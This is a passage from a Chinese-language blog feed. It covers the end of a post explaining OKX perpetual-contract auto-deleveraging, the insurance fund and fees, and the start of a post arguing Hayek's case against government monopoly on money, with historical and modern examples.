触发ADL机制</p></li><li><p>结果：启动ADL，强制平仓盈利仓位</p></li></ul><p><strong>具体示例：为什么会产生超额损失？</strong></p><p>用户情况：</p><ul><li>持有400张BTCUSDT多仓（4 BTC）</li><li>开仓价格：50,000 USDT</li><li>仓位价值：400 × 0.01 × 50,000 = 200,000 USDT</li><li>保证金：10,000 USDT (20倍杠杆)</li><li>强制平仓触发价格：49,500 USDT</li></ul><p>正常情况下的期望：</p><ul><li>应该在49,500左右平仓</li><li>损失：400 × 0.01 × (50,000 - 49,500) = 2,000 USDT</li><li>剩余保证金：10,000 - 2,000 = 8,000 USDT</li><li>无需动用保险基金（正常平仓）</li></ul><p>但实际发生（极端情况）：</p><ul><li>市场流动性不足，价格跳空至45,000</li><li>实际平仓价格：45,000 USDT</li><li>实际损失：400 × 0.01 × (50,000 - 45,000) = 20,000 USDT</li><li>超过保证金的损失：20,000 - 10,000 = 10,000 USDT</li><li>保险基金需要承担：10,000 USDT</li></ul><p>如果保险基金只有5,000 USDT：</p><ul><li>保险基金不足，触发ADL</li><li>需要找：10,000 - 5,000 = 5,000 USDT</li><li>通过平仓盈利的空仓来获得这笔资金</li></ul><p><strong>ADL触发的具体条件</strong>：</p><ol><li><strong>风险准备金不足</strong>：当前风险准备金低于安全阈值</li><li><strong>市场极端波动</strong>：价格跳空或流动性危机</li><li><strong>大额爆仓</strong>：单笔或多笔爆仓损失过大</li><li><strong>连锁反应</strong>：多个用户同时爆仓，风险准备金快速消耗</li></ol><p><strong>实际比例</strong>：</p><ul><li><strong>正常情况</strong>：约95%的强制平仓通过订单簿完成，无需ADL</li><li><strong>特殊情况</strong>：约5%的极端情况需要ADL介入</li><li><strong>危机时期</strong>：在市场崩盘时，ADL使用频率会显著增加</li></ul><p><strong>ADL vs 正常清算对比</strong>：</p><table><thead><tr><th>对比项目</th><th>正常清算</th><th>ADL清算</th></tr></thead><tbody><tr><td><strong>触发条件</strong></td><td>保证金率不足</td><td>风险准备金不足</td></tr><tr><td><strong>执行方式</strong></td><td>订单簿匹配</td><td>强制仓位匹配</td></tr><tr><td><strong>价格确定</strong></td><td>市场价格</td><td>标记价格</td></tr><tr><td><strong>手续费</strong></td><td>正常收取</td><td>免收手续费</td></tr><tr><td><strong>影响对象</strong></td><td>爆仓用户</td><td>盈利用户</td></tr><tr><td><strong>频率</strong></td><td>常见</td><td>罕见</td></tr></tbody></table><p><strong>匹配原则</strong>：</p><ol><li><strong>方向相反</strong>：多仓亏损匹配空仓盈利，空仓亏损匹配多仓盈利</li><li><strong>数量对等</strong>：平仓数量必须相等，实现完全对冲</li><li><strong>价格统一</strong>：所有ADL匹配都在同一标记价格执行</li><li><strong>无手续费</strong>：ADL执行不收取交易手续费</li><li><strong>强制执行</strong>：被选中的盈利仓位无法拒绝，必须平仓</li></ol><h5 id="5-1-2-3-触发条件">5.1.2.3 触发条件</h5><p><strong>1. 波动跌幅阈值触发</strong>：<br>当适用风险准备金的当前价值低于：</p><ul><li>过去8小时内风险准备金平均价值减去以下两项中的较大者：<ul><li>8小时平均值的30%</li><li>50,000美元（或等值金额）</li></ul></li></ul><p><strong>实际案例</strong>：</p><ul><li>风险准备金当前价值：200,000美元</li><li>8小时平均值：400,000美元</li><li>30%为120,000美元（&gt;50,000美元，采用此标准）</li><li>波动跌幅阈值：400,000 - 120,000 = 280,000美元</li><li>由于200,000 &lt; 280,000，触发ADL</li></ul><p><strong>2. 其他触发条件</strong>：</p><ul><li>适用风险准备金已全部耗尽</li><li>盘前交易合约：未成交强平单超过特定数量和时间阈值</li></ul><h5 id="5-1-2-4-ADL排序规则与风险指示">5.1.2.4 ADL排序规则与风险指示</h5><p><strong>排序算法</strong>：</p><ul><li><strong>逐仓模式</strong>：盈利仓位 = 收益率 ÷ 保证金率；亏损仓位 = 收益率 × 保证金率</li><li><strong>全仓模式</strong>：使用账户保证金率而非仓位保证金率</li><li><strong>综合因素</strong>：考虑仓位盈利程度、亏损程度、杠杆使用量</li><li><strong>排名越高</strong>：在ADL中被选中的概率越大</li></ul><p><strong>风险指示灯系统</strong>：</p><ul><li>5格灯显示ADL风险等级</li><li>全部5格点亮：自动减仓风险最高</li><li>1格点亮：风险较低</li><li>在高度波动市场中，即使低风险仓位也可能面临ADL</li></ul><h5 id="5-1-2-5-执行机制">5.1.2.5 执行机制</h5><p><strong>正常清算 vs ADL执行</strong>：</p><ul><li><strong>正常清算</strong>：亏损仓位进入订单簿，由市场相反订单吸收</li><li><strong>ADL执行</strong>：亏损仓位直接与被减仓位匹配，无需进入订单簿</li></ul><p><strong>执行特点</strong>：</p><ul><li>以标记价格执行，不收取交易手续费</li><li>被减仓位立即锁定利润，无法获得进一步收益</li><li>关键风险：重新开仓价格可能与被减仓位不同</li></ul><h5 id="5-1-2-6-ADL终止条件">5.1.2.6 ADL终止条件</h5><p><strong>恢复条件</strong>：</p><ul><li>风险准备金价值增加超过波动跌幅阈值加上缓冲金额</li><li>缓冲金额为以下两项中的较大者：<ul><li>触发ADL时8小时平均值的6%</li><li>10,000美元（或等值金额）</li></ul></li></ul><p><strong>终止案例</strong>：</p><ul><li>风险准备金价值增加至320,000美元</li><li>波动跌幅阈值：280,000美元</li><li>缓冲金额：400,000 × 6% = 24,000美元（&gt;10,000美元）</li><li>终止阈值：280,000 + 24,000 = 304,000美元</li><li>由于320,000 &gt; 304,000，ADL停止</li></ul><h5 id="5-1-2-7-预警与防范">5.1.2.7 预警与防范</h5><p><strong>预警系统</strong>：</p><ul><li>监控适用风险准备金余额变化</li><li>订阅自动减仓预警频道</li><li>风险准备金剧烈波动是ADL可能性增加的指标</li></ul><p><strong>防范措施</strong>：</p><ul><li>降低杠杆可减少ADL影响概率</li><li>监控5格风险指示灯状态</li><li>关注市场波动性，ADL最常发生在高波动市场</li></ul><h4 id="5-1-3-保险基金制度">5.1.3 保险基金制度</h4><h5 id="5-1-3-1-基金构成">5.1.3.1 基金构成</h5><ul><li>OKX官方提供的资金</li><li>强制平仓订单产生的盈余</li></ul><h5 id="5-1-3-2-独立运营">5.1.3.2 独立运营</h5><ul><li>不同业务线（现货杠杆、期货、永续合约、期权）的保险基金相互独立</li><li>同一业务线内，不同标的和币种的保险基金也相互分离</li></ul><h4 id="5-1-4-标记价格系统">5.1.4 标记价格系统</h4><ul><li><strong>作用</strong>：作为强制平仓和ADL执行的价格基准</li><li><strong>计算</strong>：基于多个现货交易所的加权平均价格</li><li><strong>防操纵</strong>：避免单一交易所价格异常对合约交易的影响</li></ul><h2 id="6-交易费用结构与定价机制">6. 交易费用结构与定价机制</h2><p>本章节详细介绍了OKX永续合约的费用结构和定价机制。通过分析不同类型费率的计算方式和分级标准，为交易者提供成本管理的参考依据。</p><h3 id="6-1-费用结构与级别制度">6.1 费用结构与级别制度</h3><h4 id="6-1-1-手续费分级制度">6.1.1 手续费分级制度</h4><p>根据用户的30天交易量和OKB持仓量实行阶梯费率制度。</p><h4 id="6-1-2-费率类型分类">6.1.2 费率类型分类</h4><ul><li><strong>挂单费率</strong>：通常享受费率优惠</li><li><strong>吃单费率</strong>：按标准费率收取</li><li><strong>强制平仓费用</strong>：<ul><li>强制平仓手续费：替代普通交易手续费</li><li>强制平仓清算费：额外的风险补偿费用</li><li><strong>重要</strong>：强制平仓时不收取普通开仓/平仓手续费</li></ul></li></ul><h2 id="参考材料">参考材料</h2><ul><li><a href="https://www.okx.com/zh-hans/help/i-spot-index-prices">指数计算规则</a></li><li><a href="https://www.okx.com/zh-hans/help/i-perpetual-swaps">永续合约说明</a></li><li><a href="https://www.okx.com/zh-hans/help/ii-mark-price-and-last-price">标记价格机制</a></li><li><a href="https://www.okx.com/zh-hans/learn/understanding-mark-price">标记价格详解</a></li><li><a href="https://www.okx.com/zh-hans/help/iv-introduction-to-perpetual-swap-funding-fee">资金费率介绍</a></li></ul><pre><code class="highlight mermaid"></code></pre><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/finance/cex-perp/</id>
    <link href="https://www.blog-blockchain.xyz/finance/cex-perp/"/>
    <published>2025-07-15T13:26:20.000Z</published>
    <summary>本文系统梳理了CEX永续合约的完整规则体系，涵盖合约类型、订单簿机制、资金费率、杠杆与保证金、风险管理（强制平仓与自动减仓）、费用结构等核心内容，适合数字货币衍生品投资者和风险管理研究者参考。</summary>
    <title>CEX永续合约交易规则详解</title>
    <updated>2026-02-19T16:18:01.169Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="economics" scheme="https://www.blog-blockchain.xyz/categories/economics/"/>
    <category term="economics" scheme="https://www.blog-blockchain.xyz/tags/economics/"/>
    <category term="finance" scheme="https://www.blog-blockchain.xyz/tags/finance/"/>
    <category term="history" scheme="https://www.blog-blockchain.xyz/tags/history/"/>
    <content>
      <![CDATA[<blockquote><p>“我相信，世界各国的君主都是贪婪不公的。他们欺骗臣民，把货币最初所含金属的真实分量次第削减。” —— 亚当·斯密</p></blockquote><h2 id="引言：从通胀危机到根本性质疑">引言：从通胀危机到根本性质疑</h2><h3 id="问题的起源：为什么哈耶克要挑战货币垄断？">问题的起源：为什么哈耶克要挑战货币垄断？</h3><p>1976年，当77岁的哈耶克提出废除政府货币垄断权这一&quot;令人震惊&quot;的建议时，他并非凭空想象，而是基于对当时经济危机的深刻反思。</p><p><strong>具体的时代困境</strong>：</p><ul><li><strong>通胀失控</strong>：1970年代，英国通胀率一度超过20%，美国也达到两位数</li><li><strong>政策失效</strong>：凯恩斯主义的&quot;菲利普斯曲线&quot;失效，出现前所未有的&quot;滞胀&quot;</li><li><strong>制度崩溃</strong>：1971年尼克松宣布美元与黄金脱钩，布雷顿森林体系彻底瓦解</li><li><strong>理论困惑</strong>：主流经济学无法解释为何会同时出现高通胀和高失业</li></ul><p><strong>哈耶克的思维突破</strong>：面对这些问题，大多数经济学家在讨论如何改进政府的货币政策，而哈耶克却提出了一个根本性问题：<strong>为什么我们假设政府必须垄断货币发行？这个假设本身是否正确？</strong></p><blockquote><p><strong>名词解释</strong>:</p><ul><li><strong>凯恩斯主义 (Keynesianism)</strong>: 主张政府应积极干预经济，通过财政政策（如增加政府开支）来刺激需求、实现充分就业的经济理论。</li><li><strong>菲利普斯曲线 (Phillips Curve)</strong>: 一种描述通货膨胀与失业率之间存在“此消彼长”反向关系的理论。根据该曲线，决策者似乎可以在高通胀（以换取低失业）和高失业（以换取低通胀）之间进行权衡取舍。</li><li><strong>滞胀 (Stagflation)</strong>: 指经济停滞（Stagnation）与高通货膨胀（Inflation）并存的经济现象。1970年代“滞胀”的出现，打破了菲利普斯曲线所描述的反向关系，对凯恩斯主义构成了严重挑战。</li></ul></blockquote><pre><code class="highlight mermaid">graph TD    A[1970年代经济危机] --&gt; B[主流经济学家]    A --&gt; C[哈耶克]    B --&gt; D[改进政府货币政策]    B --&gt; E[调整凯恩斯主义]    B --&gt; F[完善央行制度]    C --&gt; G[质疑根本假设]    G --&gt; H[&quot;为什么政府必须&lt;br/&gt;垄断货币发行？&quot;]    H --&gt; I[制度本身有问题]    I --&gt; J[需要根本性变革]    D --&gt; K[治标不治本]    E --&gt; K    F --&gt; K    J --&gt; L[货币非国家化]    style A fill:#ff9999    style C fill:#99ff99    style H fill:#ffff99    style L fill:#99ccff</code></pre><p>这种质疑的深度在于：哈耶克意识到，如果制度本身有问题，那么在错误制度框架内的任何改良都可能是徒劳的。正如他所说：“对供应健全货币，政府已然失灵、必定失灵且将继续失灵。”</p><h2 id="一、思想的逻辑起点：为什么质疑政府货币垄断？">一、思想的逻辑起点：为什么质疑政府货币垄断？</h2><h3 id="1-1-从经济学基本原理出发的推理">1.1 从经济学基本原理出发的推理</h3><p><strong>哈耶克的逻辑起点</strong>：他首先回到了经济学的基本问题——稀缺资源的有效配置。</p><p><strong>推理过程</strong>：</p><ol><li><strong>基本前提</strong>：我们知道市场竞争在绝大多数领域都能比政府垄断提供更好的产品和服务</li><li><strong>类比思考</strong>：货币本质上也是一种商品（交换媒介），为什么它要例外？</li><li><strong>历史观察</strong>：货币垄断并非&quot;自然&quot;产生，而是政府强制实施的历史偶然</li><li><strong>逻辑结论</strong>：如果竞争在其他领域有效，那么在货币领域应该也有效</li></ol><p><strong>关键洞察</strong>：哈耶克发现，人们对货币垄断的接受实际上基于一个<strong>未经检验的假设</strong>——“一个国家必须有统一的货币”。但这个假设从何而来？</p><h3 id="1-2-揭示-统一货币必要性-的神话">1.2 揭示&quot;统一货币必要性&quot;的神话</h3><p><strong>哈耶克的分析方法</strong>：他通过历史和逻辑双重检验来质疑这个假设。</p><p><strong>历史检验</strong>：</p><ul><li><strong>起源分析</strong>：货币垄断最初只是为了认证金属重量和成色，类似于度量衡标准</li><li><strong>演变过程</strong>：政府发现这是获取收入（铸币税）的便利手段，逐步扩大垄断范围</li><li><strong>政治动机</strong>：君主将铸币权视为&quot;主权的根本属性&quot;，主要出于政治而非经济考虑</li></ul><p><strong>逻辑检验</strong>：</p><ul><li><strong>便利性论证</strong>：虽然统一货币确实便利，但这种便利是否值得承受垄断的代价？</li><li><strong>必要性质疑</strong>：便利不等于必要，正如统一的服装品牌会很便利，但我们不会因此垄断服装生产</li><li><strong>成本收益分析</strong>：统一货币的便利 vs. 垄断导致的通胀、经济周期等成本</li></ul><p><strong>核心发现</strong>：哈耶克发现，&quot;货币垄断的必要性&quot;更多是一种<strong>被强化的习惯</strong>，而非经济逻辑的必然结果。</p><h3 id="1-3-从-自利vs仁慈-看货币发行的激励机制">1.3 从&quot;自利vs仁慈&quot;看货币发行的激励机制</h3><p><strong>亚当·斯密原理的应用</strong>：哈耶克援引斯密的经典洞察——在市场中，个人追求自利的行为往往比出于仁慈的行为更能促进社会福利。</p><p><strong>具体应用到货币领域</strong>：</p><p><strong>政府发行货币的激励结构</strong>：</p><ul><li><strong>声称动机</strong>：“仁慈”——为了公共利益提供稳定货币</li><li><strong>实际激励</strong>：短期政治利益、财政收入、权力维护</li><li><strong>约束机制</strong>：几乎没有——民众无法选择其他货币</li></ul><p><strong>私人发行货币的激励结构</strong>：</p><ul><li><strong>驱动动机</strong>：“自利”——通过提供优质货币获得市场份额和利润</li><li><strong>实际激励</strong>：必须维持货币稳定和信誉，否则失去客户</li><li><strong>约束机制</strong>：市场竞争——客户可以随时转向其他货币</li></ul><pre><code class="highlight mermaid">graph LR    subgraph &quot;政府货币发行激励&quot;        A1[政府发行机构] --&gt; A2[短期政治利益]        A1 --&gt; A3[财政收入需求]        A1 --&gt; A4[权力维护]        A2 --&gt; A5[约束机制薄弱]        A3 --&gt; A5        A4 --&gt; A5        A5 --&gt; A6[通胀风险高]    end    subgraph &quot;私人货币发行激励&quot;        B1[私人发行机构] --&gt; B2[长期商业利益]        B1 --&gt; B3[客户满意度]        B1 --&gt; B4[市场份额]        B2 --&gt; B5[强约束机制]        B3 --&gt; B5        B4 --&gt; B5        B5 --&gt; B6[货币质量高]    end    A6 -.-&gt; C[哈耶克洞察]    B6 -.-&gt; C    C --&gt; D[&quot;自利比仁慈&lt;br/&gt;更可靠&quot;]    style A1 fill:#ffcccc    style B1 fill:#ccffcc    style C fill:#ffffcc    style D fill:#ccccff</code></pre><p><strong>关键推论</strong>：在货币领域，正如在其他领域一样，<strong>私人机构的&quot;自利&quot;反而比政府的&quot;仁慈&quot;更能确保提供优质的货币</strong>。</p><p><strong>深层原因分析</strong>：</p><ol><li><strong>信息优势</strong>：私人机构直接面对客户，能够更敏感地感知货币质量需求</li><li><strong>反应速度</strong>：市场机制比政治决策过程更快速</li><li><strong>责任明确</strong>：私人机构的生存直接依赖于货币质量，政府则有其他收入来源</li><li><strong>创新动力</strong>：竞争环境促使不断改进，垄断环境缺乏改进动力</li></ol><p><strong>现代验证：USDT的激励结构分析</strong></p><p>USDT（Tether）作为最大的稳定币，完美验证了哈耶克的私人货币激励理论：</p><p><strong>符合哈耶克预测的激励机制</strong>：</p><ul><li><strong>自利驱动的质量保证</strong>：Tether公司的商业模式完全依赖于维持USDT与美元的1:1锚定</li><li><strong>市场约束的即时性</strong>：一旦出现脱锚质疑，用户立即抛售，公司损失巨大</li><li><strong>竞争压力的持续性</strong>：面临USDC、BUSD等竞品的直接竞争，必须持续改进</li></ul><p><strong>实际表现数据</strong>：</p><ul><li><strong>市值增长</strong>：从2017年的10亿美元增长到2023年的800多亿美元</li><li><strong>稳定性表现</strong>：尽管多次面临挤兑压力，始终维持了基本锚定</li><li><strong>市场选择</strong>：用户用脚投票，USDT市占率长期保持在60%以上</li></ul><p><strong>与政府货币的对比</strong>：</p><ul><li><strong>反应速度</strong>：USDT储备信息月度公布，远超央行的透明度</li><li><strong>责任机制</strong>：公司生存完全依赖币值稳定，而央行有其他权力来源</li><li><strong>创新动力</strong>：不断优化储备结构、提高透明度以应对竞争</li></ul><p><strong>关键洞察</strong>：虽然USDT本质上仍是法币（美元）的衍生品，但其发行和管理机制体现了典型的市场竞争逻辑，验证了哈耶克关于&quot;自利比仁慈更可靠&quot;的核心观点。</p><p><strong>现代金融市场的验证</strong>：</p><p>哈耶克的这些预测在当代金融服务中得到了生动体现：</p><p><strong>银行间支付系统的演进</strong>：</p><ul><li><strong>传统体系</strong>：银行间转账需要数天，手续费高昂，用户体验糟糕</li><li><strong>市场压力</strong>：客户不满推动银行改进服务</li><li><strong>技术创新</strong>：实时支付系统、移动支付的快速普及</li><li><strong>竞争效应</strong>：支付宝、微信支付等新兴支付方式倒逼传统银行改革</li></ul><p><strong>数字货币市场的实践</strong>：<br>数字货币生态系统完美展现了哈耶克设想的货币竞争：</p><ul><li><strong>反应速度</strong>：技术更新迭代以天为单位，远超政府决策速度</li><li><strong>责任明确</strong>：项目方的生存完全依赖于代币价值和用户信任</li><li><strong>创新动力</strong>：DeFi、NFT、跨链技术等创新层出不穷</li><li><strong>市场选择</strong>：用户用脚投票，劣质项目迅速被淘汰</li></ul><p><strong>DEX永续合约的竞争典型</strong>：<br>去中心化交易所(DEX)的永续合约市场是哈耶克竞争理论的完美实例：</p><p><strong>激烈的市场竞争</strong>：</p><ul><li><strong>产品创新</strong>：从Perpetual Protocol到GMX，再到dYdX，每个协议都在差异化竞争</li><li><strong>费率竞争</strong>：交易费用从传统交易所的0.1%降至0.02%甚至更低</li><li><strong>用户体验</strong>：界面优化、交易速度、滑点控制等持续改进</li><li><strong>资本效率</strong>：杠杆倍数、保证金要求、清算机制不断优化</li></ul><p><strong>市场纪律的强制执行</strong>：</p><ul><li><strong>TVL流失惩罚</strong>：协议出现问题，资金立即流向竞争对手</li><li><strong>代币价格反馈</strong>：治理代币价格直接反映协议竞争力</li><li><strong>社区投票</strong>：用户直接参与协议改进决策</li><li><strong>分叉竞争</strong>：开源代码允许更优秀的团队分叉改进</li></ul><p><strong>与传统期货市场对比</strong>：</p><ul><li><strong>传统期货</strong>：监管审批周期长，创新缓慢，费用高昂</li><li><strong>DEX永续</strong>：无需许可创新，快速迭代，费用透明</li></ul><p><strong>对比政府货币体系</strong>：</p><ul><li><strong>决策缓慢</strong>：央行政策调整需要数月甚至数年</li><li><strong>创新滞后</strong>：央行数字货币研发周期漫长</li><li><strong>用户体验</strong>：银行服务长期缺乏根本性改进</li><li><strong>垄断惰性</strong>：缺乏真正的竞争压力</li></ul><h2 id="二、历史证据：政府货币垄断的系统性失败">二、历史证据：政府货币垄断的系统性失败</h2><h3 id="2-1-哈耶克的历史分析方法">2.1 哈耶克的历史分析方法</h3><p><strong>分析框架</strong>：哈耶克不是简单地批评政府，而是系统性地分析了<strong>为什么</strong>政府在货币领域必然失败。</p><p><strong>研究方法</strong>：</p><ol><li><strong>时间跨度</strong>：考察从古代到现代两千多年的货币史</li><li><strong>地理范围</strong>：涵盖世界各主要文明</li><li><strong>制度比较</strong>：对比政府垄断与私人竞争的不同结果</li><li><strong>激励分析</strong>：深入分析不同制度下的行为动机</li></ol><h3 id="2-2-政府滥用货币权力的内在逻辑">2.2 政府滥用货币权力的内在逻辑</h3><p><strong>哈耶克的核心发现</strong>：政府对货币的滥用不是偶然的，而是制度逻辑的必然结果。</p><p><strong>深层原因分析</strong>：</p><p><strong>1. 财政诱惑的不可抗拒性</strong></p><ul><li><strong>现实压力</strong>：政府面临战争、灾害、社会福利等支出压力</li><li><strong>政治约束</strong>：增税在政治上困难重重，容易引发反对</li><li><strong>技术便利</strong>：货币贬值是一种&quot;隐性税收&quot;，民众不易察觉</li><li><strong>时间错位</strong>：货币贬值的恶果通常在政治决策者离任后才显现</li></ul><p><strong>具体机制分析</strong>：当政府面临财政困难时，有三种选择：</p><ul><li>增税：政治成本高，立即引发反对</li><li>削减支出：得罪受益集团，政治风险大</li><li>印钞：短期内看似无成本，恶果滞后显现</li></ul><pre><code class="highlight mermaid">graph TD    A[&quot;政府面临财政压力&lt;br&gt;(战争、福利、选举等)&quot;] --&gt; B&#123;如何解决?&#125;;    B --&gt; C[选项A: 增税];    C --&gt; C1[&quot;后果: 政治成本高&lt;br&gt;立即引发民众反对&quot;];    B --&gt; D[选项B: 削减开支];    D --&gt; D1[&quot;后果: 政治风险大&lt;br&gt;得罪利益集团&quot;];    B --&gt; E[&quot;选项C: 印钞 (货币贬值)&quot;];    E --&gt; E1[&quot;短期效果: 隐蔽且迅速&lt;br&gt;看似无成本地解决问题&quot;];    E --&gt; E2[&quot;长期后果: 通货膨胀&lt;br&gt;恶果滞后显现，可甩锅&quot;];    subgraph &quot;决策者的理性选择&quot;        C1 -- 政治上不可行 --&gt; F((选择印钞));        D1 -- 政治上不可行 --&gt; F;        E1 -- 政治上可行 --&gt; F;    end    F --&gt; G[&quot;哈耶克的洞察:&lt;br&gt;制度激励下的必然选择&quot;];    G --&gt; H[&quot;结论: 政府滥用货币权力&lt;br&gt;是系统性、非偶然的结果&quot;];    style A fill:#f9f,stroke:#333,stroke-width:2px    style B fill:#bbf,stroke:#333,stroke-width:2px    style F fill:#9f9,stroke:#333,stroke-width:2px    style H fill:#ff9,stroke:#333,stroke-width:2px</code></pre><p><strong>哈耶克的洞察</strong>：在这种选择结构下，政府选择印钞几乎是理性的，这正说明了制度设计的根本缺陷。</p><p><strong>现代验证案例：特朗普时期的财政扩张</strong><br>特朗普的&quot;让美国再次伟大&quot;政策完美体现了哈耶克分析的财政诱惑机制：</p><ul><li><strong>巨额减税</strong>：2017年《减税和就业法案》大幅削减税收</li><li><strong>基建承诺</strong>：万亿美元基础设施投资计划</li><li><strong>军费增加</strong>：国防开支显著上升</li><li><strong>资金来源</strong>：主要通过增发国债，实际上依赖美联储间接&quot;印钞&quot;</li></ul><p>这一案例说明，即使在世界最发达的民主国家，政治逻辑仍然驱使政府选择债务扩张而非艰难的结构性改革。</p><p><strong>2. 政治周期与货币政策的冲突</strong></p><ul><li><strong>选举周期</strong>：政治家关注任期内的表现，缺乏长期视角</li><li><strong>受益时差</strong>：货币宽松的好处立即显现，通胀恶果延后出现</li><li><strong>责任转移</strong>：通胀问题可以归咎于&quot;外部因素&quot;或前任政府</li><li><strong>信息不对称</strong>：公众难以理解复杂的货币政策后果</li></ul><p><strong>特朗普案例的深层分析</strong>：</p><ul><li><strong>短期收益最大化</strong>：减税立即提振经济，赢得选民支持</li><li><strong>成本转移</strong>：债务负担和通胀压力留给后任政府</li><li><strong>责任规避</strong>：后来的通胀被归咎于疫情、供应链等&quot;外部因素&quot;</li><li><strong>政治合理性</strong>：在现有制度框架下，这种策略政治上是&quot;理性的&quot;</li></ul><h3 id="2-3-历史案例的深度分析">2.3 历史案例的深度分析</h3><p><strong>哈耶克选择的典型案例及其深层逻辑</strong>：</p><p><strong>古罗马的教训</strong>：</p><ul><li><strong>背景</strong>：帝国扩张需要巨大军事开支</li><li><strong>手段</strong>：系统性降低银币的银含量</li><li><strong>过程</strong>：从奥古斯都时期的纯银，到3世纪时银含量不足5%</li><li><strong>后果</strong>：物价上涨数十倍，经济衰退，帝国衰落</li><li><strong>深层逻辑</strong>：军事开支的刚性需求 + 税收能力的局限 = 货币贬值的必然</li></ul><p><strong>中世纪的普遍模式</strong>：</p><ul><li><strong>政治背景</strong>：封建领主之间的持续战争</li><li><strong>技术条件</strong>：民众缺乏检验货币成色的能力</li><li><strong>制度环境</strong>：缺乏制约君主权力的机制</li><li><strong>结果</strong>：哈耶克记录了&quot;所有的小君主都争相减少铸币的分量和成色&quot;</li></ul><p><strong>关键分析</strong>：哈耶克指出，这不是个别君主的道德问题，而是制度激励的必然结果。任何拥有货币垄断权的统治者都面临同样的诱惑和压力。</p><p><strong>王莽改制的案例分析</strong>：</p><ul><li><strong>政治需求</strong>：新朝需要资金维持统治</li><li><strong>技术手段</strong>：强制用轻币替换重币</li><li><strong>实施过程</strong>：五铢钱（重5铢）被&quot;小泉直一&quot;（重1铢）等量替代</li><li><strong>经济后果</strong>：民众财富被强制削减80%</li><li><strong>社会后果</strong>：商业瘫痪，民不聊生，政权垮台</li></ul><p><strong>哈耶克的深层分析</strong>：这个案例完美诠释了政府货币垄断的本质——通过强制力将损失转嫁给民众。</p><h3 id="2-4-现代纸币时代的全新风险">2.4 现代纸币时代的全新风险</h3><p><strong>技术变革带来的问题放大</strong>：</p><p><strong>从金属货币到纸币的质变</strong>：</p><ul><li><strong>约束消失</strong>：金属货币时代，贵金属储量限制了滥发</li><li><strong>成本降低</strong>：印制纸币的边际成本几乎为零</li><li><strong>速度加快</strong>：电子货币时代，货币创造只需要数字变动</li><li><strong>隐蔽性增强</strong>：现代货币操作更加复杂，公众更难理解</li></ul><p><strong>哈耶克的预警</strong>：他在1976年就预见到，“与金属货币相比，政府更加无力处理纸币，甚至更容易滥发纸币”。</p><p><strong>现代实例的深度分析</strong>：</p><p><strong>魏玛共和国案例</strong>：</p><ul><li><strong>背景分析</strong>：一战战败，巨额赔款压力</li><li><strong>政策逻辑</strong>：政府选择印钞而非承认无力支付</li><li><strong>恶性循环</strong>：通胀 → 更多支出需求 → 更多印钞 → 更严重通胀</li><li><strong>制度崩溃</strong>：最终货币体系完全瓦解，政治制度随之崩溃</li></ul><p><strong>哈耶克的关键洞察</strong>：这不是政策失误，而是民主政府在巨大压力下的&quot;理性&quot;选择。任何政府在类似情况下都可能做出同样决定。</p><p><strong>从特朗普到拜登的连续性：财政诱惑的不可抗拒性</strong></p><p>现代美国政治提供了哈耶克&quot;财政诱惑&quot;理论的完美验证：</p><p><strong>特朗普时期的财政扩张逻辑</strong>：</p><ul><li><strong>政府面临支出压力</strong>：基建老化、军费需求、社会保障缺口</li><li><strong>增税困难重重</strong>：加税在政治上极不受欢迎，直接影响选票</li><li><strong>政治家短期视角</strong>：关注任期内的表现，缺乏长期约束</li><li><strong>货币宽松的即时性</strong>：印钞的好处立即显现，通胀恶果延后出现</li><li><strong>责任转嫁机制</strong>：通胀问题可以归咎于&quot;外部因素&quot;或前任政府</li></ul><p><strong>拜登政府的路径延续</strong>：<br>更有趣的是，拜登政府完全延续了这一模式：</p><ul><li><strong>美国救援计划</strong>：1.9万亿美元疫情救助</li><li><strong>基础设施法案</strong>：1.2万亿美元基建投资</li><li><strong>通胀责任归咎</strong>：将通胀归因于供应链、俄乌冲突等外部因素</li></ul><p><strong>哈耶克理论的完美验证</strong>：</p><p>这种跨党派的连续性深刻证明了几个关键点：</p><ol><li><p><strong>制度性诱惑的普遍性</strong>：</p><ul><li>无论政治立场如何，掌权者都面临同样的财政压力</li><li>货币发行权提供了看似&quot;免费&quot;的解决方案</li><li>政治周期与经济周期的错配加剧了短视行为</li></ul></li><li><p><strong>责任稀释机制的有效性</strong>：</p><ul><li><strong>时间稀释</strong>：通胀后果延迟显现，当前决策者可以甩锅给未来</li><li><strong>因果稀释</strong>：复杂的经济体系让因果关系难以追踪</li><li><strong>党派稀释</strong>：可以将问题归咎于对手党或外部因素</li></ul></li><li><p><strong>政治约束的失效</strong>：</p><ul><li><strong>选民理性无知</strong>：普通选民难以理解复杂的货币政策后果</li><li><strong>利益集团俘获</strong>：受益于通胀的群体有更强的政治影响力</li><li><strong>媒体共谋</strong>：经济繁荣期媒体很少质疑宽松政策</li></ul></li></ol><p><strong>数据验证</strong>：</p><ul><li><strong>货币供应量增长</strong>：2020-2021年美国M2增长超过40%，创历史纪录</li><li><strong>通胀后果</strong>：2022年通胀率达到9.1%的40年高点</li><li><strong>政治反应</strong>：两党都倾向于将通胀归咎于外部因素而非货币政策</li></ul><pre><code class="highlight mermaid">graph TD    A[财政压力] --&gt; B[政治诱惑]    B --&gt; C[印钞解决]    C --&gt; D[短期效益]    C --&gt; E[长期通胀]    D --&gt; F[政治收益]    E --&gt; G[社会成本]    F --&gt; H[连任概率上升]    G --&gt; I[民众财富缩水]    H --&gt; J[强化行为模式]    I --&gt; K[归咎外部因素]    J --&gt; B    K --&gt; B    subgraph &quot;特朗普时期&quot;        T1[贸易战支出]        T2[减税政策]        T3[基建需求]        T1 --&gt; A        T2 --&gt; A        T3 --&gt; A    end    subgraph &quot;拜登时期&quot;        B1[疫情救助]        B2[基建法案]        B3[社会支出]        B1 --&gt; A        B2 --&gt; A        B3 --&gt; A    end    style B fill:#ff9999    style J fill:#ffcc99    style K fill:#ccccff</code></pre><p>这种跨党派的连续性进一步证明了哈耶克的核心论点：<strong>问题不在于特定的政治家或政党，而在于制度本身的激励结构</strong>。货币垄断权创造了一种系统性的道德风险，任何掌权者都难以抵抗。</p><h3 id="2-5-从历史中得出的制度性结论">2.5 